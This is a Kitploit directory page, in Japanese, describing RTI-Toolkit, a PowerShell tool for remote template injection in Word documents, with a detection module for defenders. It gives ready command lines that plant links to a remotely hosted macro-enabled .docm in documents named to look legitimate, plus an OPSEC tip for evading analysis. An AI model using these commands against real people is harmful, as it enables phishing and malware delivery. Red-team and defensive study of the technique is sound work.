Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
RTI-Toolkit — PowerShell toolkit for remote template injection attacks and defense. Injects malicious links into Office Word documents for phishing, with identification modules for blue teams. | Kitploit
ツール/GitHubGitHub/nickvourd/rti-toolkit
フィッシングツールフィッシングペネトレーションテストレッドチーミング
GitHubnickvourd/rti-toolkit

RTI-Toolkit

PowerShell toolkit for remote template injection attacks and defense. Injects malicious links into Office Word documents for phishing, with identification modules for blue teams.

リポジトリを見る
5592ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

RTIツールキット

Remote Template Injection ツールキット

説明

RTIツールキットは、Remote Template Injection攻撃のためのオープンソースのPowerShellツールキットです。このツールキットには、PS-Templator.ps1 というPowerShellスクリプトが含まれており、攻撃側と防御側の両方の視点から使用できます。

以下のテーブルは、PS-Templator.ps1 の主要モジュール(コマンドレット)を示しています。

Cmdlet説明視点
Invoke-TemplateデフォルトのOffice Wordテンプレート内にリモートテンプレートリンクを実装します攻撃
Invoke-Regularテンプレートなしの通常のOffice Word文書内にリモートテンプレートリンクを実装します攻撃
Invoke-Identifyテンプレートあり/なしのOffice Word docx文書内のリモートテンプレートリンクを識別します防御

⚠️ PS-Templator.ps1 はDOCXファイルのみをサポートしています。

ℹ️ このツールは、米国国立標準技術研究所(NIST)のNational Vulnerability Database(NVD)において、CVE-2025-65318 および CVE-2025-65319 として参照されています。

バージョン

1.0.0

ライセンス

このツールは、License: MIT の下でライセンスされています。

謝辞

友人の @Papadope9 および Stavros Gkounis (通称 purpl3ph03n1x) に特別な感謝を捧げます。彼らはツールのベータテスト段階で貴重な支援を提供してくれました。

このツールは、数年前に @S1ckB0y1337 と行ったiCAST Red Teaming Assessment中に着想を得ました。

Supernovaは @nickvourd によって ❤️ を込めて作成されました。

目次

  • RTIツールキット
    • 説明
    • バージョン
    • ライセンス
    • 謝辞
    • 目次
    • リモートテンプレートインジェクション (RTI)
    • インストール
    • コマンドレット
      • Invoke-Template
        • Invoke-Template の例
      • Invoke-Regular
        • Invoke-Regular の例
        • Invoke-Regular の例 2
      • Invoke-Identify
        • Invoke-Identify の例
        • Invoke-Identify の例 2
    • 参考文献

リモートテンプレートインジェクション (RTI)

Microsoft Officeのコンテキストにおけるリモートテンプレートインジェクション (RTI) は、Office文書(例:Word、Excel、PowerPoint)の悪意のあるテンプレートを介して悪用される可能性のある特定のタイプのセキュリティ脆弱性を指します。

例えば、DOCXファイルでは、コンテンツはアーカイブ内にXML形式で保存され、これらのXMLファイルの一部は外部リソースやテンプレートを参照する場合があります。攻撃者は確かにこれらのXMLファイルを操作して、脆弱性を悪用したりユーザーを騙したりする可能性のある悪意のあるリンクやコンテンツを挿入できます。

これはマクロベースの攻撃です。

インストール

PS-Templator.ps1 をモジュールとしてメモリに読み込むには、次のコマンドを実行します:

root@kitploit:~
Import-Module .\PS-Templator.ps1

ℹ️ PS-Templator.ps1 は追加の依存関係をインストールする必要なく動作します。

ℹ️ PS-Templator.ps1 はPowerShellモジュールとして機能します。

ℹ️ PS-Templator.ps1 は、Office 2019 Professional plus を搭載したWindows 10マシンでテストされています。

コマンドレット

Invoke-Template

Invoke-Template は、デフォルトのOffice Wordテンプレート内にリモートテンプレートリンクを実装するコマンドレットです。

Invoke-Template の例

デフォルトのWordテンプレート(以下のようなもの)があると仮定します:

All Words Templates

例えば、'Name.docx' として保存されています:

Default Word Template Document

Invoke-Template コマンドレットを使用すると、このdocx内に悪意のあるリンクを挿入できます:

⚠️ Invoke-Template を実行する前に、必ずドキュメントを保存して閉じてください(プロセスを終了してください)。

root@kitploit:~
Invoke-Template -InputDoc Name.docx -Link "https://192.168.1.3:8080/Doc1.docm" -Output C:\Users\User\Desktop\LegitDocument.docx

結果:

Invoke-Template-1

ご覧のとおり、Invoke-Templateモジュールは元のドキュメントのバックアップを保持し、悪意のあるドキュメントへのフルパスを提供します。

デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /word/_rels/settings.xml.rels に移動すると、悪意のあるリンクを確認できます:

Invoke-Template-Debug

Invoke-Regular

Invoke-Regular は、テンプレートなしの通常のOffice Word文書内にリモートテンプレートリンクを実装するコマンドレットです。

Invoke-Regular の例

テンプレートなしのデフォルトのWord文書(以下のようなもの)があると仮定します:

Blank Document

例えば、'Doc1.docx' として保存されています:

Word Document

Invoke-Regular コマンドレットを使用すると、このdocx内に悪意のあるリンクを挿入できます:

⚠️ Invoke-Regular を実行する前に、必ずドキュメントを保存して閉じてください(プロセスを終了してください)。

root@kitploit:~
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Nikos2.docx

結果:

Invoke-Regular-1

ご覧のとおり、Invoke-Regularモジュールは元のドキュメントのバックアップを保持し、悪意のあるドキュメントへのフルパスを提供します。

デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /word/_rels/settings.xml.rels に移動すると、悪意のあるリンクを確認できます:

Invoke-Regular-Debug-1

Invoke-Regular の例 2

OPSECの観点から、Invoke-Regular モジュールと共に -TemplateName を使用できます。これにより、誰かが解析しようとした場合に、悪意のあるドキュメントがより正当に見えるようになります。

以下は例です:

root@kitploit:~
Invoke-Regular -InputDoc C:\Users\User\Desktop\Doc1.docx -Link "http://192.168.1.3:8080/Doc1.docm" -Output Legittemplate.dotx

結果:

Invoke-Regular-Example-2

デバッグの観点から、悪意のあるdocxをzipアーカイブに変換して /docProps/app.xml に移動すると、偽のテンプレート名を確認できます:

Invoke-Regular-Fake-Template-Name

Invoke-Identify

Invoke-identify は、テンプレートあり/なしのOffice Word docx文書内のリモートテンプレートリンクを識別するコマンドレットです。

Invoke-Identify の例

悪意のあるWord文書があると仮定します:

root@kitploit:~
Invoke-Identify -InputDoc LegitDocument.docx -Output C:\Users\User\Desktop\output.txt

結果:

Invoke-Identify Malicous Example

Invoke-Identify の例 2

非悪意のあるWord文書があると仮定します:

root@kitploit:~
Invoke-Identify -InputDoc Name.docx -Output C:\Users\User\Desktop\output2.txt

結果:

Invoke-Identify Clean Example

参考文献

  • ired.team
  • dmcxblue.gitbook.io
  • john-woodman.com
  • John Woodman による remoteInjector GitHub
  • Outflanknl による Invoke-Templator GitHub
  • attack.mitre.org
  • Inf0secRabbit による BadAssMacros GitHub
ツールをダウンロード